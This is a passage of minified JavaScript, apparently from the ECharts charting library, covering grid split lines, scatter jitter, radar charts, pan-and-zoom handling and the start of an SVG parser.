fp({anid:b==null?null:`line_`+b,autoBatch:!0,shape:{x1:h[0],y1:h[1],x2:g[0],y2:g[1]},style:I({stroke:c[x]},_),silent:!0});am(S.shape,_.lineWidth),t.add(S)}}}},minorSplitLine:function(e,t,n,r,i){var a=n.axis,o=n.getModel(`minorSplitLine`).getModel(`lineStyle`),s=r.coordinateSystem.getRect(),c=a.isHorizontal(),l=a.getMinorTicksCoords();if(l.length)for(var u=[],d=[],f=o.getLineStyle(),p=0;p<l.length;p++)for(var m=0;m<l[p].length;m++){var h=a.toGlobalCoord(l[p][m].coord);c?(u[0]=h,u[1]=s.y,d[0]=h,d[1]=s.y+s.height):(u[0]=s.x,u[1]=h,d[0]=s.x+s.width,d[1]=h);var g=new fp({anid:`minor_line_`+l[p][m].tickValue,autoBatch:!0,shape:{x1:u[0],y1:u[1],x2:d[0],y2:d[1]},style:f,silent:!0});am(g.shape,f.lineWidth),t.add(g)}},splitArea:function(e,t,n,r,i){nP(e,t,n,r)},breakArea:function(e,t,n,r,i){var a=TM(),o=n.axis.scale;a&&o.type!==`ordinal`&&a.rectCoordBuildBreakAxis(t,e,n,r.coordinateSystem.getRect(),i)}},sP=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.type=`xAxis`,t}(aP),cP=function(e){N(t,e);function t(){var t=e!==null&&e.apply(this,arguments)||this;return t.type=sP.type,t}return t.type=`yAxis`,t}(aP),lP=function(e){N(t,e);function t(){var t=e!==null&&e.apply(this,arguments)||this;return t.type=`grid`,t}return t.prototype.render=function(e,t){this.group.removeAll(),e.get(`show`)&&this.group.add(new Lu({shape:e.coordinateSystem.getRect(),style:I({fill:e.get(`backgroundColor`)},e.getItemStyle()),silent:!0,z2:-1}))},t.type=`grid`,t}(Eb),uP={offset:0};function dP(e){e.registerComponentView(lP),e.registerComponentModel(gM),e.registerCoordinateSystem(`cartesian2d`,ON),EM(e,`x`,_M,uP),EM(e,`y`,_M,uP),e.registerComponentView(sP),e.registerComponentView(cP),e.registerPreprocessor(function(e){e.xAxis&&e.yAxis&&!e.grid&&(e.grid={})})}function fP(e,t){var n=e.coordinateSystem,r=n&&n.type,i=n&&n.getBaseAxis&&n.getBaseAxis(),a=i&&i.scale&&i.scale.type,o=r===`cartesian2d`&&a===`ordinal`||r===`single`,s=t.model.get(`jitter`)>0;return o&&s}var pP=oc();function mP(e,t,n,r){if(e instanceof MM){var i=e.scale.type;if(i!==`category`&&i!==`ordinal`)return n}var a=e.model,o=a.get(`jitter`),s=a.get(`jitterOverlap`),c=a.get(`jitterMargin`)||0,l=e.scale.type===`ordinal`?e.getBandWidth():null;return o>0?s?hP(n,o,l,r):gP(e,t,n,r,o,c):n}function hP(e,t,n,r){if(n===null)return e+(Math.random()-.5)*t;var i=n-r*2,a=Math.min(Math.max(0,t),i);return e+(Math.random()-.5)*a}function gP(e,t,n,r,i,a){var o=pP(e);o.items||=[];var s=o.items,c=_P(s,t,n,r,i,a,1),l=_P(s,t,n,r,i,a,-1),u=Math.abs(c-n)<Math.abs(l-n)?c:l,d=e.scale.type===`ordinal`?e.getBandWidth():null,f=Math.abs(u-n);return f>i/2||d&&f>d/2-r?hP(n,i,d,r):(s.push({fixedCoord:t,floatCoord:u,r}),u)}function _P(e,t,n,r,i,a,o){for(var s=n,c=0;c<e.length;c++){var l=e[c],u=t-l.fixedCoord,d=s-l.floatCoord,f=u*u+d*d,p=r+l.r+a;if(f<p*p){var m=l.floatCoord+Math.sqrt(p*p-u*u)*o;if(Math.abs(m-n)>i/2)return Number.MAX_VALUE;if(o===1&&m>s||o===-1&&m<s){s=m,c=-1;continue}}}return s}function vP(e){e.eachSeriesByType(`scatter`,function(e){var t=e.coordinateSystem;if(t&&(t.type===`cartesian2d`||t.type===`single`)){var n=t.getBaseAxis?t.getBaseAxis():null;if(n&&fP(e,n)){var r=e.getData();r.each(function(e){var t=n.dim,i=n.orient,a=i===`horizontal`&&n.type!==`category`||i===`vertical`&&n.type===`category`,o=r.getItemLayout(e),s=r.getItemVisual(e,`symbolSize`),c=s instanceof Array?(s[1]+s[0])/2:s;if(t===`y`||t===`single`&&a){var l=mP(n,o[0],o[1],c/2);r.setItemLayout(e,[o[0],l])}else if(t===`x`||t===`single`&&!a){var l=mP(n,o[1],o[0],c/2);r.setItemLayout(e,[l,o[1]])}})}}})}function yP(e){bw(dP),e.registerSeriesModel(cM),e.registerChartView(pM),e.registerLayout(tj(`scatter`))}function bP(e){e.registerLayout(e.PRIORITY.VISUAL.POST_CHART_LAYOUT,vP)}function xP(e){e.eachSeriesByType(`radar`,function(e){var t=e.getData(),n=[],r=e.coordinateSystem;if(r){var i=r.getIndicatorAxes();L(i,function(e,a){t.each(t.mapDimension(i[a].dim),function(e,t){n[t]=n[t]||[];var i=r.dataToPoint(e,a);n[t][a]=SP(i)?i:CP(r)})}),t.each(function(e){var i=ut(n[e],function(e){return SP(e)})||CP(r);n[e].push(i.slice()),t.setItemLayout(e,n[e])})}})}function SP(e){return!isNaN(e[0])&&!isNaN(e[1])}function CP(e){return[e.cx,e.cy]}function wP(e){var t=e.polar;if(t){B(t)||(t=[t]);var n=[];L(t,function(t,r){t.indicator?(t.type&&!t.shape&&(t.shape=t.type),e.radar=e.radar||[],B(e.radar)||(e.radar=[e.radar]),e.radar.push(t)):n.push(t)}),e.polar=n}L(e.series,function(e){e&&e.type===`radar`&&e.polarIndex&&(e.radarIndex=e.polarIndex)})}var TP=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.render=function(e,t,n){var r=e.coordinateSystem,i=this.group,a=e.getData(),o=this._data;function s(e,t){var n=e.getItemVisual(t,`symbol`)||`circle`;if(n!==`none`){var r=Vx(e.getItemVisual(t,`symbolSize`)),i=Bx(n,-1,-1,2,2),a=e.getItemVisual(t,`symbolRotate`)||0;return i.attr({style:{strokeNoScale:!0},z2:100,scaleX:r[0]/2,scaleY:r[1]/2,rotation:a*Math.PI/180||0}),i}}function c(t,n,r,i,a,o){r.removeAll();for(var c=0;c<n.length-1;c++){var l=s(i,a);l&&(l.__dimIdx=c,t[c]?(l.setPosition(t[c]),Gp[o?`initProps`:`updateProps`](l,{x:n[c][0],y:n[c][1]},e,a)):l.setPosition(n[c]),r.add(l))}}function l(e){return R(e,function(e){return[r.cx,r.cy]})}a.diff(o).add(function(t){var n=a.getItemLayout(t);if(n){var r=new sp,i=new lp,o={shape:{points:n}};r.shape.points=l(n),i.shape.points=l(n),Rp(r,o,e,t),Rp(i,o,e,t);var s=new Y,u=new Y;s.add(i),s.add(r),s.add(u),c(i.shape.points,n,u,a,t,!0),a.setItemGraphicEl(t,s)}}).update(function(t,n){var r=o.getItemGraphicEl(n),i=r.childAt(0),s=r.childAt(1),l=r.childAt(2),u={shape:{points:a.getItemLayout(t)}};u.shape.points&&(c(i.shape.points,u.shape.points,l,a,t,!1),Up(s),Up(i),Lp(i,u,e),Lp(s,u,e),a.setItemGraphicEl(t,r))}).remove(function(e){i.remove(o.getItemGraphicEl(e))}).execute(),a.eachItemGraphicEl(function(e,t){var n=a.getItemModel(t),r=e.childAt(0),o=e.childAt(1),s=e.childAt(2),c=a.getItemVisual(t,`style`),l=c.fill;i.add(e),r.useStyle(I(n.getModel(`lineStyle`).getLineStyle(),{fill:`none`,stroke:l})),rf(r,n,`lineStyle`),rf(o,n,`areaStyle`);var u=n.getModel(`areaStyle`),d=u.isEmpty()&&u.parentModel.isEmpty();o.ignore=d,L([`emphasis`,`select`,`blur`],function(e){var t=n.getModel([e,`areaStyle`]),i=t.isEmpty()&&t.parentModel.isEmpty();o.ensureState(e).ignore=i&&d;var a=n.getModel([e,`lineStyle`]).getLineStyle();r.ensureState(e).style=a;var c=t.getAreaStyle();o.ensureState(e).style=c;var l=n.getModel([e,`itemStyle`]).getItemStyle();s.eachChild(function(t){t.ensureState(e).style=P(l)})}),o.useStyle(I(n.getModel(`areaStyle`).getAreaStyle(),{fill:l,opacity:.7,decal:c.decal}));var f=n.getModel(`emphasis`);s.eachChild(function(e){if(e instanceof ku){var r=e.style;e.useStyle(F({image:r.image,x:r.x,y:r.y,width:r.width,height:r.height},c))}else e.useStyle(c),e.setColor(l),e.style.strokeNoScale=!0;var i=a.getStore().get(a.getDimensionIndex(e.__dimIdx),t);(i==null||isNaN(i))&&(i=``),Rm(e,zm(n),{labelFetcher:a.hostModel,labelDataIndex:t,labelDimIndex:e.__dimIdx,defaultText:i,inheritColor:l,defaultOpacity:c.opacity})}),$d(e,f.get(`focus`),f.get(`blurScope`),f.get(`disabled`))}),this._data=a},t.prototype.remove=function(){this.group.removeAll(),this._data=null},t.type=`radar`,t}(Ab),EP=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.hasSymbolVisual=!0,n}return t.prototype.init=function(t){e.prototype.init.apply(this,arguments),this.legendVisualProvider=new rM(z(this.getData,this),z(this.getRawData,this))},t.prototype.getInitialData=function(e,t){return nM(this,{generateCoord:`indicator_`,generateCoordCount:1/0})},t.prototype.formatTooltip=function(e,t,n){var r=this.getData(),i=this.coordinateSystem.getIndicatorAxes(),a=this.getData().getName(e),o=a===``?this.name:a,s=lb(this,e);return Xy(`section`,{header:o,sortBlocks:!0,blocks:R(i,function(t){var n=r.get(r.mapDimension(t.dim),e);return Xy(`nameValue`,{markerType:`subItem`,markerColor:s,name:t.name,value:n,sortParam:n})})})},t.prototype.getTooltipPosition=function(e){if(e!=null){for(var t=this.getData(),n=this.coordinateSystem,r=t.getValues(R(n.dimensions,function(e){return t.mapDimension(e)}),e),i=0,a=r.length;i<a;i++)if(!isNaN(r[i])){var o=n.getIndicatorAxes();return n.coordToPoint(o[i].dataToCoord(r[i]),i)}}},t.type=`series.radar`,t.dependencies=[`radar`],t.defaultOption={z:2,colorBy:`data`,coordinateSystem:`radar`,legendHoverLink:!0,radarIndex:0,lineStyle:{width:2,type:`solid`,join:`round`},label:{position:`top`},symbolSize:8},t}(_b),DP=xM.value;function OP(e,t){return I({show:t},e)}var kP=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.optionUpdated=function(){var e=this.get(`boundaryGap`),t=this.get(`splitNumber`),n=this.get(`scale`),r=this.get(`axisLine`),i=this.get(`axisTick`),a=this.get(`axisLabel`),o=this.get(`axisName`),s=this.get([`axisName`,`show`]),c=this.get([`axisName`,`formatter`]),l=this.get(`axisNameGap`),u=this.get(`triggerEvent`),d=R(this.get(`indicator`)||[],function(d){d.max!=null&&d.max>0&&!d.min?d.min=0:d.min!=null&&d.min<0&&!d.max&&(d.max=0);var f=o;d.color!=null&&(f=I({color:d.color},o));var p=nt(P(d),{boundaryGap:e,splitNumber:t,scale:n,axisLine:r,axisTick:i,axisLabel:a,name:d.text,showName:s,nameLocation:`end`,nameGap:l,nameTextStyle:f,triggerEvent:u},!1);if(H(c)){var m=p.name;p.name=c.replace(`{value}`,m??``)}else V(c)&&(p.name=c(p.name,p));var h=new lh(p,null,this.ecModel);return ot(h,FE.prototype),h.mainType=`radar`,h.componentIndex=this.componentIndex,h},this);this._indicatorModels=d},t.prototype.getIndicatorModels=function(){return this._indicatorModels},t.type=`radar`,t.defaultOption={z:0,center:[`50%`,`50%`],radius:`50%`,startAngle:90,axisName:{show:!0,color:Q.color.axisLabel},boundaryGap:[0,0],splitNumber:5,axisNameGap:15,scale:!1,shape:`polygon`,axisLine:nt({lineStyle:{color:Q.color.neutral20}},DP.axisLine),axisLabel:OP(DP.axisLabel,!1),axisTick:OP(DP.axisTick,!1),splitLine:OP(DP.splitLine,!0),splitArea:OP(DP.splitArea,!0),indicator:[]},t}(e_),AP=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n}return t.prototype.render=function(e,t,n){this.group.removeAll(),this._buildAxes(e,n),this._buildSplitLineAndArea(e)},t.prototype._buildAxes=function(e,t){var n=e.coordinateSystem;L(R(n.getIndicatorAxes(),function(e){var r=e.model.get(`showName`)?e.name:``;return new eN(e.model,t,{axisName:r,position:[n.cx,n.cy],rotation:e.angle,labelDirection:-1,tickDirection:-1,nameDirection:1})}),function(e){e.build(),this.group.add(e.group)},this)},t.prototype._buildSplitLineAndArea=function(e){var t=e.coordinateSystem,n=t.getIndicatorAxes();if(!n.length)return;var r=e.get(`shape`),i=e.getModel(`splitLine`),a=e.getModel(`splitArea`),o=i.getModel(`lineStyle`),s=a.getModel(`areaStyle`),c=i.get(`show`),l=a.get(`show`),u=o.get(`color`),d=s.get(`color`),f=B(u)?u:[u],p=B(d)?d:[d],m=[],h=[];function g(e,t,n){var r=n%t.length;return e[r]=e[r]||[],r}if(r===`circle`)for(var _=n[0].getTicksCoords(),v=t.cx,y=t.cy,b=0;b<_.length;b++){if(c){var x=g(m,f,b);m[x].push(new If({shape:{cx:v,cy:y,r:_[b].coord}}))}if(l&&b<_.length-1){var x=g(h,p,b);h[x].push(new rp({shape:{cx:v,cy:y,r0:_[b].coord,r:_[b+1].coord}}))}}else for(var S,C=R(n,function(e,n){var r=e.getTicksCoords();return S=S==null?r.length-1:Math.min(r.length-1,S),R(r,function(e){return t.coordToPoint(e.coord,n)})}),w=[],b=0;b<=S;b++){for(var T=[],E=0;E<n.length;E++)T.push(C[E][b]);if(T[0]&&T.push(T[0].slice()),c){var x=g(m,f,b);m[x].push(new lp({shape:{points:T}}))}if(l&&w){var x=g(h,p,b-1);h[x].push(new sp({shape:{points:T.concat(w)}}))}w=T.slice().reverse()}var D=o.getLineStyle(),O=s.getAreaStyle();L(h,function(e,t){this.group.add(rm(e,{style:I({stroke:`none`,fill:p[t%p.length]},O),silent:!0}))},this),L(m,function(e,t){this.group.add(rm(e,{style:I({fill:`none`,stroke:f[t%f.length]},D),silent:!0}))},this)},t.type=`radar`,t}(Eb),jP=function(e){N(t,e);function t(t,n,r){var i=e.call(this,t,n,r)||this;return i.type=`value`,i.angle=0,i.name=``,i}return t}(SD),MP=function(){function e(e,t,n){this.dimensions=[],this._model=e,this._indicatorAxes=R(e.getIndicatorModels(),function(e,t){var n=`indicator_`+t,r=new jP(n,new MT);return r.name=e.get(`name`),r.model=e,e.axis=r,this.dimensions.push(n),r},this),this.resize(e,n)}return e.prototype.getIndicatorAxes=function(){return this._indicatorAxes},e.prototype.dataToPoint=function(e,t){var n=this._indicatorAxes[t];return this.coordToPoint(n.dataToCoord(e),t)},e.prototype.coordToPoint=function(e,t){var n=this._indicatorAxes[t].angle;return[this.cx+e*Math.cos(n),this.cy-e*Math.sin(n)]},e.prototype.pointToData=function(e){var t=e[0]-this.cx,n=e[1]-this.cy,r=Math.sqrt(t*t+n*n);t/=r,n/=r;for(var i=Math.atan2(-n,t),a=1/0,o,s=-1,c=0;c<this._indicatorAxes.length;c++){var l=this._indicatorAxes[c],u=Math.abs(i-l.angle);u<a&&(o=l,s=c,a=u)}return[s,+(o&&o.coordToData(r))]},e.prototype.resize=function(e,t){var n=Kg(e,t).refContainer,r=e.get(`center`),i=Math.min(n.width,n.height)/2;this.cx=X(r[0],n.width)+n.x,this.cy=X(r[1],n.height)+n.y,this.startAngle=e.get(`startAngle`)*Math.PI/180;var a=e.get(`radius`);(H(a)||ht(a))&&(a=[0,a]),this.r0=X(a[0],i),this.r=X(a[1],i),L(this._indicatorAxes,function(e,t){e.setExtent(this.r0,this.r);var n=this.startAngle+t*Math.PI*2/this._indicatorAxes.length;n=Math.atan2(Math.sin(n),Math.cos(n)),e.angle=n},this)},e.prototype.update=function(e,t){var n=this._indicatorAxes,r=this._model;L(n,function(e){e.scale.setExtent(1/0,-1/0)}),e.eachSeriesByType(`radar`,function(t,i){if(!(t.get(`coordinateSystem`)!==`radar`||e.getComponent(`radar`,t.get(`radarIndex`))!==r)){var a=t.getData();L(n,function(e){e.scale.unionExtentFromData(a,a.mapDimension(e.dim))})}},this);var i=r.get(`splitNumber`),a=new MT;a.setExtent(0,i),a.setInterval(1),L(n,function(e,t){EN(e.scale,e.model,a)})},e.prototype.convertToPixel=function(e,t,n){return console.warn(`Not implemented.`),null},e.prototype.convertFromPixel=function(e,t,n){return console.warn(`Not implemented.`),null},e.prototype.containPoint=function(e){return console.warn(`Not implemented.`),!1},e.create=function(t,n){var r=[];return t.eachComponent(`radar`,function(i){var a=new e(i,t,n);r.push(a),i.coordinateSystem=a}),t.eachSeriesByType(`radar`,function(e){e.get(`coordinateSystem`)===`radar`&&(e.coordinateSystem=r[e.get(`radarIndex`)||0])}),r},e.dimensions=[],e}();function NP(e){e.registerCoordinateSystem(`radar`,MP),e.registerComponentModel(kP),e.registerComponentView(AP),e.registerVisual({seriesType:`radar`,reset:function(e){var t=e.getData();t.each(function(e){t.setItemVisual(e,`legendIcon`,`roundRect`)}),t.setVisual(`legendIcon`,`roundRect`)}})}function PP(e){bw(NP),e.registerChartView(TP),e.registerSeriesModel(EP),e.registerLayout(xP),e.registerProcessor(Wj(`radar`)),e.registerPreprocessor(wP)}var FP=oc();function IP(e,t,n){FP(e)[t]=n}function LP(e,t,n){var r=FP(e);r[t]===n&&(r[t]=null)}function RP(e,t){return!!FP(e)[t]}cw({type:`takeGlobalCursor`,event:`globalCursorTaken`,update:`update`},zt);var zP={axisPointer:1,tooltip:1,brush:1};function BP(e,t,n){var r=t.getComponentByElement(e.topTarget);if(!r||r===n||zP.hasOwnProperty(r.mainType))return!1;var i=r.coordinateSystem;if(!i||i.model===n)return!1;var a=jm(r),o=jm(n);return!((a.zlevel-o.zlevel||a.z-o.z)<=0)}var VP=function(e){N(t,e);function t(t){var n=e.call(this)||this;n._zr=t;var r=z(n._mousedownHandler,n),i=z(n._mousemoveHandler,n),a=z(n._mouseupHandler,n),o=z(n._mousewheelHandler,n),s=z(n._pinchHandler,n);return n.enable=function(e,n){var c=n.zInfo,l=jm(c.component),u=l.z,d=l.zlevel,f={component:c.component,z:u,zlevel:d,z2:W(c.z2,-1/0)},p=F({},n.triggerInfo);this._opt=I(F({},n),{zoomOnMouseWheel:!0,moveOnMouseMove:!0,moveOnMouseWheel:!1,preventDefaultMouseMove:!0,zInfoParsed:f,triggerInfo:p}),e??=!0,(!this._enabled||this._controlType!==e)&&(this._enabled=!0,this.disable(),(e===!0||e===`move`||e===`pan`)&&(GP(t,`mousedown`,r,f),GP(t,`mousemove`,i,f),GP(t,`mouseup`,a,f)),(e===!0||e===`scale`||e===`zoom`)&&(GP(t,`mousewheel`,o,f),GP(t,`pinch`,s,f)))},n.disable=function(){this._enabled=!1,KP(t,`mousedown`,r),KP(t,`mousemove`,i),KP(t,`mouseup`,a),KP(t,`mousewheel`,o),KP(t,`pinch`,s)},n}return t.prototype.isDragging=function(){return this._dragging},t.prototype.isPinching=function(){return this._pinching},t.prototype._checkPointer=function(e,t,n){var r=this._opt,i=r.zInfoParsed;if(BP(e,r.api,i.component))return!1;var a=r.triggerInfo,o=a.roamTrigger,s=!1;return o===`global`&&(s=!0),s||=a.isInSelf(e,t,n),s&&a.isInClip&&!a.isInClip(e,t,n)&&(s=!1),s},t.prototype._decideCursorStyle=function(e,t,n,r){var i=e.target;if(!i&&this._checkPointer(e,t,n))return`grab`;if(r)return i&&i.cursor||`default`},t.prototype.dispose=function(){this.disable()},t.prototype._mousedownHandler=function(e){if(!(Fn(e)||HP(e))){for(var t=e.target;t;){if(t.draggable)return;t=t.__hostTarget||t.parent}var n=e.offsetX,r=e.offsetY;this._checkPointer(e,n,r)&&(this._x=n,this._y=r,this._dragging=!0)}},t.prototype._mousemoveHandler=function(e){var t=this._zr;if(!(e.gestureEvent===`pinch`||RP(t,`globalPan`)||HP(e))){var n=e.offsetX,r=e.offsetY;if(!this._dragging||!XP(`moveOnMouseMove`,e,this._opt)){var i=this._decideCursorStyle(e,n,r,!1);i&&t.setCursorStyle(i);return}t.setCursorStyle(`grabbing`);var a=this._x,o=this._y,s=n-a,c=r-o;this._x=n,this._y=r,this._opt.preventDefaultMouseMove&&Pn(e.event),e.__ecRoamConsumed=!0,YP(this,`pan`,`moveOnMouseMove`,e,{dx:s,dy:c,oldX:a,oldY:o,newX:n,newY:r,isAvailableBehavior:null})}},t.prototype._mouseupHandler=function(e){if(!HP(e)){var t=this._zr;if(!Fn(e)){this._dragging=!1;var n=this._decideCursorStyle(e,e.offsetX,e.offsetY,!0);n&&t.setCursorStyle(n)}}},t.prototype._mousewheelHandler=function(e){if(!HP(e)){var t=XP(`zoomOnMouseWheel`,e,this._opt),n=XP(`moveOnMouseWheel`,e,this._opt),r=e.wheelDelta,i=Math.abs(r),a=e.offsetX,o=e.offsetY;if(!(r===0||!t&&!n)){if(t){var s=i>3?1.4:i>1?1.2:1.1,c=r>0?s:1/s;this._checkTriggerMoveZoom(this,`zoom`,`zoomOnMouseWheel`,e,{scale:c,originX:a,originY:o,isAvailableBehavior:null})}if(n){var l=Math.abs(r),u=(r>0?1:-1)*(l>3?.4:l>1?.15:.05);this._checkTriggerMoveZoom(this,`scrollMove`,`moveOnMouseWheel`,e,{scrollDelta:u,originX:a,originY:o,isAvailableBehavior:null})}}}},t.prototype._pinchHandler=function(e){if(!(RP(this._zr,`globalPan`)||HP(e))){var t=e.pinchScale>1?1.1:1/1.1;this._checkTriggerMoveZoom(this,`zoom`,null,e,{scale:t,originX:e.pinchX,originY:e.pinchY,isAvailableBehavior:null})}},t.prototype._checkTriggerMoveZoom=function(e,t,n,r,i){e._checkPointer(r,i.originX,i.originY)&&(Pn(r.event),r.__ecRoamConsumed=!0,YP(e,t,n,r,i))},t}(ln);function HP(e){return e.__ecRoamConsumed}var UP=oc();function WP(e){var t=UP(e);return t.roam=t.roam||{},t.uniform=t.uniform||{},t}function GP(e,t,n,r){for(var i=WP(e).roam,a=i[t]=i[t]||[],o=0;o<a.length;o++){var s=a[o].zInfoParsed;if((s.zlevel-r.zlevel||s.z-r.z||s.z2-r.z2)<=0)break}a.splice(o,0,{listener:n,zInfoParsed:r}),qP(e,t)}function KP(e,t,n){for(var r=WP(e).roam[t]||[],i=0;i<r.length;i++)if(r[i].listener===n){r.splice(i,1),r.length||JP(e,t);return}}function qP(e,t){var n=WP(e);n.uniform[t]||e.on(t,n.uniform[t]=function(e){var r=n.roam[t];if(r)for(var i=0;i<r.length;i++)r[i].listener(e)})}function JP(e,t){var n=WP(e).uniform;n[t]&&(e.off(t,n[t]),n[t]=null)}function YP(e,t,n,r,i){i.isAvailableBehavior=z(XP,null,n,r),e.trigger(t,i)}function XP(e,t,n){var r=n[e];return!e||r&&(!H(r)||t.event[r+`Key`])}function ZP(e,t,n){var r=e.target;r.x+=t,r.y+=n,r.dirty()}function QP(e,t,n,r){var i=e.target,a=e.zoomLimit,o=e.zoom=e.zoom||1;o*=t,o=rF(o,a);var s=o/e.zoom;e.zoom=o,nF(i,n,r,s),i.dirty()}function $P(e,t,n,r,i,a){var o=new J(0,0,0,0);r.enable(e.get(`roam`),{api:t,zInfo:{component:e},triggerInfo:{roamTrigger:e.get(`roamTrigger`),isInSelf:function(e,t,r){return o.copy(n.getBoundingRect()),o.applyTransform(n.getComputedTransform()),o.contain(t,r)},isInClip:function(e,t,n){return!a||a.contain(t,n)}}}),i.zoomLimit=e.get(`scaleLimit`);var s=e.coordinateSystem;i.zoom=s?s.getZoom():1;var c=e.subType+`Roam`;r.off(`pan`).off(`zoom`).on(`pan`,function(n){ZP(i,n.dx,n.dy),t.dispatchAction({seriesId:e.id,type:c,dx:n.dx,dy:n.dy})}).on(`zoom`,function(n){QP(i,n.scale,n.originX,n.originY),t.dispatchAction({seriesId:e.id,type:c,zoom:n.scale,originX:n.originX,originY:n.originY}),t.updateLabelLayout()})}function eF(e,t){return e.pointToProjected?e.pointToProjected(t):e.pointToData(t)}function tF(e,t,n){var r=e.getZoom(),i=e.getCenter(),a=t.zoom,o=e.projectedToPoint?e.projectedToPoint(i):e.dataToPoint(i);return t.dx!=null&&t.dy!=null&&(o[0]-=t.dx,o[1]-=t.dy,e.setCenter(eF(e,o))),a!=null&&(a=rF(r*a,n)/r,nF(e,t.originX,t.originY,a),e.updateTransform(),e.setCenter(eF(e,o)),e.setZoom(a*r)),{center:e.getCenter(),zoom:e.getZoom()}}function nF(e,t,n,r){e.x-=(t-e.x)*(r-1),e.y-=(n-e.y)*(r-1),e.scaleX*=r,e.scaleY*=r}function rF(e,t){if(t){var n=t.min||0,r=t.max||1/0;e=Math.max(Math.min(r,e),n)}return e}function iF(e){H(e)&&(e=new DOMParser().parseFromString(e,`text/xml`));var t=e;for(t.nodeType===9&&(t=t.firstChild);t.nodeName.toLowerCase()!==`svg`||t.nodeType!==1;)t=t.nextSibling;return t}var aF,oF={fill:`fill`,stroke:`stroke`,"stroke-width":`lineWidth`,opacity:`opacity`,"fill-opacity":`fillOpacity`,"stroke-opacity":`strokeOpacity`,"stroke-dasharray":`lineDash`,"stroke-dashoffset":`lineDashOffset`,"stroke-linecap":`lineCap`,"stroke-linejoin":`lineJoin`,"stroke-miterlimit":`miterLimit`,"font-family":`fontFamily`,"font-size":`fontSize`,"font-style":`fontStyle`,"font-weight":`fontWeight`,"text-anchor":`textAlign`,visibility:`visibility`,display:`display`},sF=dt(oF),cF={"alignment-baseline":`textBaseline`,"stop-color":`stopColor`},lF=dt(cF),uF=function(){function e(){this._defs={},this._root=null}return e.prototype.parse=function(e,t){t||={};var n=iF(e);this._defsUsePending=[];var r=new Y;this._root=r;var i=[],a=n.getAttribute(`viewBox`)||``,o=parseFloat(n.getAttribute(`width`)||t.width),s=parseFloat(n.getAttribute(`height`)||t.height);isNaN(o)&&(o=null),isNaN(s)&&(s=null),gF(n,r,null,!0,!1);for(var c=n.firstChild;c;)this._parseNode(c,r,i,null,!1,!1),c=c.nextSibling;bF(this._defs,this._defsUsePending),this._defsUsePending=[];var l,u;if(a){var d=SF(a);d.length>=4&&(l={x:parseFloat(d[0]||0),y:parseFloat(d[1]||0),width:parseFloat(d[2]),height:parseFloat(d[3])})}if(l&&o!=null&&s!=null&&(u=kF(l,{x:0,y:0,width:o,height:s}),!t.ignoreViewBox)){var f=r;r=new Y,r.add(f),f.scaleX=f.scaleY=u.scale,f.x=u.x,f.y=u.y}return!t.ignoreRootClip&&o!=null&&s!=null&&r.setClipPath(new Lu({shape:{x:0,y:0,width:o,height:s}})),{root:r,width:o,height:s,viewBoxRect:l,viewBoxTransform:u,named:i}},e.prototype._parseNode=function(e,t,n,r,i,a){var o=e.nodeName.toLowerCase(),s,c=r;if(o===`defs`&&(i=!0),o===`text`&&(a=!0),o===`defs`||o===`switch`)s=t;else{if(!i){var l=aF[o];if(l&&K(aF,o)){s=l.call(this,e,t);var u=e.getAttribute(`name`);if(u){var d={name:u,namedFrom:null,svgNodeTagLower:o,el:s};n.push(d),o===`g`&&(c=d)}else r&&n.push({name:r.name,namedFrom:r,svgNodeTagLower:o,el:s});t.add(s)}}var f=dF[o];if(f&&K(dF,o)){var p=f.call(this,e),m=e.getAttribute(`id`);m&&(this._defs[m]=p)}}if(s&&s.isGroup)for(var h=e.firstChild;h;)h.nodeType===1?this._parseNode(h,s,n,c,i,a):h.nodeType===3&&a&&this._parseText(h,s),h=h.nextSibling},e.prototype._parseText=function(e,t){var n=new Tu({style:{text:e.textContent},silent:!0,x:this._textX||0,y:this._textY||0});mF(t,n),gF(e,n,this._defsUsePending,!1,!1),_F(n,t);var r=n.style,i=r.fontSize;i&&i<9&&(r.fontSize=9,n.scaleX*=i/9,n.scaleY*=i/9),r.font=(r.fontSize||r.fontFamily)&&[r.fontStyle,r.fontWeight,(r.fontSize||12)+`px`,r.fontFamily||`sans-serif`].join(` `);var a=n.getBoundingRect();return this._textX+=a.width,t.add(n),n},e.internalField=(function(){aF={g:function(e,t){var n=new Y;return mF(t,n),gF(e,n,this._defsUsePending,!1,!1),n},rect:function(e,t){var n=new Lu;return mF(t,n),gF(e,n,this._defsUsePending,!1,!1),n.setShape({x:parseFloat(e.getAttribute(`x`)||`0`),y:parseFloat(e.getAttribute(`y`)||`0`),width:parseFloat(e.getAttribute(`width`)||`0`),height:parseFloat(e.getAttribute(`height`)||`0`)}),n.silent=!0,n},circle:function(e,t){var n=new If;return mF(t,n),gF(e,n,this._defsUsePending,!1,!1),n.setShape({cx:parseFloat(e.getAttribute(`cx`)||`0`),cy:parseFloat(e.getAttribute(`cy`)||`0`),r:parseFloat(e.getAttribute(`r`)||`0`)}),n.silent=!0,n},line:function(e,t){var n=new fp;return mF(t,n),gF(e,n,this._defsUsePending,!1,!1),n.setShape({x1:parseFloat(e.getAttribute(`x1`)||`0`),y1:parseFloat(e.getAttribute(`y1`)||`0`),x2:parseFloat(e.getAttribute(`x2`)||`0`),y2:parseFloat(e.getAttribute(`y2`)||`0`)}),n.silent=!0,n},ellipse:function(e,t){var n=new Rf;return mF(t,n),gF(e,n,this._defsUsePending,!1,!1),n.setShape({cx:parseFloat(e.getAttribute(`cx`)||`0`),cy:parseFloat(e.getAttribute(`cy`)||`0`),rx:parseFloat(e.getAttribute(`rx`)||`0`),ry:parseFloat(e.getAttribute(`ry`)||`0`)}),n.silent=!0,n},polygon:function(e,t){var n=e.getAttribute(`points`),r;n&&(r=hF(n));var i=new sp({shape:{points:r||[]},silent:!0});return mF(t,i),gF(e,i,this._defsUsePending,!1,!1),i},polyline:function(e,t){var n=e.getAttribute(`points`),r;n&&(r=hF(n));var i=new lp({shape:{points:r||[]},silent:!0});return mF(t,i),gF(e,i,this._defsUsePending,!1,!1),i},image:function(e,t){var n=new ku;return 